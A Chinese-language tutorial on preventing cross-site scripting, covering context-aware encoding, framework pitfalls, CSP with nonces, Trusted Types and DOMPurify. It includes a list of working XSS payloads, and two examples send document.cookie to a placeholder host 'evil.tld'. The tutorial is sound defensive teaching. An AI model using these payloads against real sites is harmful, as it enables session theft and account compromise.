XSS 的本质:把数据当成代码执行
XSS(跨站脚本)的根因只有一个:不可信数据被浏览器当作可执行代码解析了。所有防御手段,本质上都是在"数据"与"代码"之间划一条清晰的界线,并让浏览器无法跨越它。
按注入与触发的位置,XSS 分为三类:
| 类型 | 数据从哪来 | 在哪触发 | 是否经过服务端 | 典型场景 |
|---|---|---|---|---|
| 反射型 | URL 参数 / 表单提交 | 服务端把参数原样拼进 HTML 返回 | 是 | 搜索结果页、错误提示页 |
| 存储型 | 数据库(用户此前提交的内容) | 其他用户访问页面时渲染出来 | 是 | 评论、昵称、论坛帖子 |
| DOM 型 | URL fragment / postMessage / 客户端接口 | 前端 JS 把它写进 DOM | 否 | 单页应用路由、innerHTML 渲染 |
三类里 DOM 型最容易被漏掉:服务端日志里完全看不到攻击载荷(数据根本没发到服务器),WAF 与服务端过滤对它无效,只能在前端代码里防。
载荷长什么样
先认识敌人,再看防御。以下都是能真实触发的最小示例:
<!-- 1. 经典 script 注入 -->
<script>alert(document.cookie)</script>
<!-- 2. 事件处理器(无需 script 标签) -->
<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">
<!-- 3. SVG 里的小众事件,可绕过大量关键词黑名单 -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- 4. javascript: 伪协议 -->
<a href="javascript:alert(1)">click</a>
<!-- 5. 大小写 + 实体编码混淆 -->
<IMG SRC=x ONERROR=javascript:alert(1)>
<!-- 6. 标签内插空(换行/Tab 都能被浏览器容忍) -->
<img/src=x
onerror=alert(1)>
<!-- 7. 突破属性引号后追加新属性 -->
" onmouseover="alert(1)
<!-- 8. 模板字符串 / JS 上下文逃逸 -->
'; alert(1); //
注意第 8 条:它不含任何 HTML 尖括号,在 HTML 转义后依然危险——因为它攻击的是 JavaScript 字符串上下文,不是 HTML 上下文。这直接引出下一节。
核心原则:按上下文编码,而不是"统一转义"
这是全文最重要的一节。编码方案由输出位置决定,不是由数据来源决定。 同一个字符串放进不同位置,需要完全不同的编码:
| 输出上下文 | 危险字符 | 正确编码 | 错误做法 |
|---|---|---|---|
HTML 文本节点 <div>数据</div> |
< > & |
HTML 实体编码 | 只过滤 <script> |
HTML 属性值 <div title="数据"> |
" ' & 空格 |
HTML 属性编码 + 引号包裹属性 | 不加引号地输出 |
JavaScript 字符串 var a = '数据' |
' " \ 换行 |
\xNN 十六进制转义 |
只做 HTML 转义 |
URL 参数 ?q=数据 |
非字母数字字符 | encodeURIComponent |
手写替换 |
CSS 值 color: 数据 |
( ) ; url 等 |
CSS 转义 + 严格白名单校验 | 直接拼接 |
最常见的错误,是把 HTML 转义当成万能药。 看这个例子:
// ❌ 危险:数据落在 JS 字符串上下文,HTML 转义救不了你
const username = "'; alert(document.cookie); //"
element.innerHTML = `<div onclick="greet('${escapeHtml(username)}')">hi</div>`
// escapeHtml 不会转义单引号之外的 JS 元字符,字符串被闭合,alert 被执行
正确做法有两种,任选其一(推荐第一种):
// ✅ 方案一:根本不拼接代码,用 DOM API 与事件绑定,彻底避开上下文问题
const div = document.createElement('div')
div.textContent = username // textContent 永不解析 HTML
div.addEventListener('click', () => greet(username))
// ✅ 方案二:非要内联,就把数据序列化成 JSON 再放进 script,且不拼进 HTML 属性
<script type="application/json" id="boot">{"username":"<\/script>"}</script>
需要检查某个字符该转成哪个实体时,可以用本站的 HTML 实体编码工具 直接查结果;完整的实体对照表见 HTML 实体速查表。URL 场景请用 URL 编解码工具,规则说明见 URL 编码速查表。
框架的真实边界
现代框架的模板插值(React 的 {value}、Vue 的 {{ value }})默认做 HTML 文本转义,这消灭了绝大部分 XSS。但边界必须清楚:
| 写法 | 是否安全 | 说明 |
|---|---|---|
<div>{userInput}</div> |
✅ 安全 | 走文本节点,自动转义 |
<div title={userInput}> |
✅ 安全 | 属性值,框架会处理 |
<a href={userInput}> |
⚠️ 需校验 | 框架不校验协议,javascript: 原样保留 |
dangerouslySetInnerHTML |
❌ 危险 | 等同 innerHTML,零转义 |
v-html="userInput" |
❌ 危险 | 等同 innerHTML,零转义 |
ref + innerHTML = x |
❌ 危险 | 完全绕过框架 |
style={{ background: userInput }} |
⚠️ 需校验 | CSS 上下文,老浏览器存在注入面 |
| 服务端 SSR 拼字符串返回 | ⚠️ 视拼接方式 | 序列化状态进 HTML 时必须转义 </script> |
href 的坑尤其隐蔽。React 与 Vue 都只做转义不做协议校验,下面这行在两者中都会渲染出一个可执行链接:
<a href={profile.website}>个人主页</a>
// profile.website = "javascript:fetch('//evil.tld?c='+document.cookie)"
修复是在渲染前做一次协议白名单校验:
function safeUrl(raw) {
try {
const u = new URL(raw, window.location.origin)
return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
} catch { return '#' } // 解析失败一律回落到安全值
}
CSP:让注入即使发生也无法执行
内容安全策略通过响应头告诉浏览器"只允许执行来自这些来源的代码"。它不是防注入,而是让注入后的代码跑不起来。
关键指令
| 指令 | 控制对象 | 建议值 |
|---|---|---|
default-src |
所有资源的兜底策略 | 'self' |
script-src |
JavaScript | 'self' + nonce/hash,不要 'unsafe-inline' |
style-src |
CSS | 'self' + nonce(CSS 同样可注入) |
img-src |
图片 | 'self' data: https: |
connect-src |
fetch / XHR / WebSocket | 'self' 及明确的 API 域 |
frame-ancestors |
谁可以 iframe 嵌你 | 'none'(替代已废弃的 X-Frame-Options) |
base-uri |
<base> 标签 |
'none'(防相对路径劫持) |
form-action |
表单提交目标 | 'self' |
object-src |
插件 | 'none' |
require-trusted-types-for |
DOM XSS 强制 | 'script' |
nonce 与 hash:不用 'unsafe-inline' 也能跑内联脚本
内联脚本是 CSP 落地最大的现实阻碍(老代码、埋点片段、SSR 注入的初始化数据)。三种解法:
# 方案一:nonce —— 每次响应生成随机值,两端一致才放行(推荐)
Content-Security-Policy: script-src 'self' 'nonce-r@nd0mValue'
<script nonce="r@nd0mValue">initApp()</script>
# 方案二:hash —— 计算脚本内容的 SHA-256,内容变了就失效
Content-Security-Policy: script-src 'self' 'sha256-hashOfScriptContent='
// 方案三:把内联脚本外置成文件,最干净但改动最大
// <script src="/js/init.js" defer></script>
nonce 的两个硬性要求:每次响应必须是密码学随机的(否则攻击者读一次就能复用),且绝不能同时写 'unsafe-inline'——浏览器在 nonce 存在时会忽略 'unsafe-inline',但反过来写会让策略自相矛盾而失效。
灰度上线:report-only
直接上强制策略有打断业务的风险。正确姿势是先观察:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
收集一到两周的违规报告,逐条修掉(或明确加白),再把 Report-Only 换成正式头。响应头的完整语义可对照 HTTP 头速查表。
Trusted Types:从根上消灭 DOM XSS
Trusted Types 把危险 DOM sink(innerHTML、outerHTML、document.write、eval、<iframe> srcdoc 等)从"接受字符串"改成"只接受特殊对象"。想往 innerHTML 写内容,必须先经过一个你注册的净化策略:
// 1. 注册策略:这里是唯一的净化关口
trustedTypes.createPolicy('default', {
createHTML: input => DOMPurify.sanitize(input),
})
# 2. 服务端下发强制头
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
之后任何未经策略的赋值都会直接抛异常:
el.innerHTML = userInput // ❌ TypeError: This document requires 'TrustedHTML'
el.innerHTML = sanitizedOutput // ✅ 经过策略包装的对象
这个机制的妙处在于把"别忘了净化"从开发纪律变成了类型系统的强制约束,漏改会立刻在开发阶段报错而非悄悄上线。Chrome 与 Edge 已支持,Firefox 与 Safari 尚未全覆盖——配合 CSP 使用,不支持的浏览器退化为普通 CSP 防护,不产生副作用。
富文本:必须净化,不能转义
Markdown 渲染、评论、所见即所得编辑器,都需要保留部分 HTML。此时转义会毁掉格式,唯一出路是白名单净化:
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','br','strong','em','a','ul','ol','li','code','pre','blockquote','h2','h3'],
ALLOWED_ATTR: ['href','title','target','rel'],
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#)/i, // 掐死 javascript: 与 data:
})
// 渲染外链时务必补 rel,防反向标签劫持
document.querySelectorAll('.rich a[target=_blank]')
.forEach(a => a.rel = 'noopener noreferrer')
服务端语言也有对等方案:Python 用 bleach 或 ammonia(Rust 移植版),Java 用 OWASP Java HTML Sanitizer,PHP 用 HTMLPurifier。不要自己写正则解析 HTML——HTML 不是正则语言,解析器容错规则极其复杂,自研净化器几乎必然有绕过。真要写正则做校验,先用 正则测试工具 把边界用例跑透。
八个高频误区
| 误区 | 为什么错 | 正确做法 |
|---|---|---|
| 黑名单过滤关键词 | HTML 等价写法近乎无限 | 白名单 + 输出编码 |
| 只在入库时过滤 | 存储层可被其他途径写入;过滤会破坏原始数据 | 入库保留原文,输出时编码/净化 |
| 依赖 WAF | WAF 是拦截层不是修复层,且拦不住 DOM 型 | 修代码,WAF 只作辅助 |
CSP 里保留 'unsafe-inline' |
等于允许任意内联脚本,CSP 基本失效 | 改用 nonce 或 hash |
用 innerHTML 拼接"已转义"的串 |
转义与上下文不匹配时照样崩 | 用 textContent 或 DOM API |
| 认为 HttpOnly cookie 能防 XSS | 它只挡 cookie 读取,攻击者仍可改 DOM、发起请求、钓鱼 | HttpOnly 是减缓,不是防御 |
只转义 < 和 > |
属性上下文里 " 才是杀手 |
按上下文完整编码 |
| 前端校验过就不管服务端 | 前端校验可被直接绕过(curl 打接口) | 服务端必须独立校验 |
关于最后一条:前端校验的价值是体验,安全价值为零。攻击者根本不打开你的页面,直接构造请求打接口。
上线检查清单
- [ ] 所有不可信数据按输出上下文选择编码方式,而非统一 HTML 转义
- [ ] HTML 属性一律用引号包裹,属性值做属性编码
- [ ] 无
innerHTML/v-html/dangerouslySetInnerHTML处理不可信数据;有则前置净化 - [ ] 所有
href/src经过协议白名单校验(http/https/mailto) - [ ] CSP 已部署,不含
'unsafe-inline';内联脚本走 nonce 或 hash - [ ] CSP 经过
Report-Only灰度,无遗留违规 - [ ] 富文本经 DOMPurify(或服务端对等库)白名单净化后再渲染
- [ ] 会话 Cookie 设
HttpOnly+Secure+SameSite - [ ] SSR 序列化状态进 HTML 时转义
</script>与<!-- - [ ] 依赖定期
npm audit,第三方脚本锁定版本或用 SRI
相关资源
字符编码层面,本站的 HTML 实体编码工具 与 URL 编解码工具 可以直接验证转义结果;需要查看 JWT 载荷是否夹带可执行内容时用 JWT 解析,Base64 混淆的载荷用 Base64 编解码。